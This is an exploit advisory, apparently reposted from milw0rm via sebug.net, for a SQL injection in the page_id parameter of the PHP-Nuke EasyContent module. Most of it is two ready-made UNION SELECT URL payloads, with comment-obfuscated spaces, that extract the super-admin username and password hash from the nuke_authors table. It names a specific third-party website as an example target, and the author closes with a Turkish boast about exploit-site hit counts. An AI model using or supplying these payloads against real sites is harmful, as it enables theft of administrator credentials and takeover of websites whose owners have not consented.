PHP-Nuke Module EasyContent (page_id) SQL Injection Vulnerability

------------------------------------------------------------------------------- php-nuke modules EasyContent remote sql inj ------------------------------------------------------------------------------- found =xoron ------------------------------------------------------------------------------- modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/* modules.php?op=modload&name=EasyContent&file=index&menu=410&page_id=-1/**/union/**/select/**/0,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/* ------------------------------------------------------------------------------- Example: http://eurowards.org/content/ not: password and username in title! colomb number 1 not2: Adam gibi bug bulunda dolan谋n ortalarda, istenilince ne kadar bo艧 bug varsa b枚le post edilir milw0rma. i艧e yarar bug nas谋l hit yap谋yor g枚rmek istiyorsan谋z http://www.milw0rm.com/author/721 sadece bi bug 16000+ hit sadece milw0rm;) Herzmn kral benimdir! ------------------------------------------------------------------------------- # sebug.net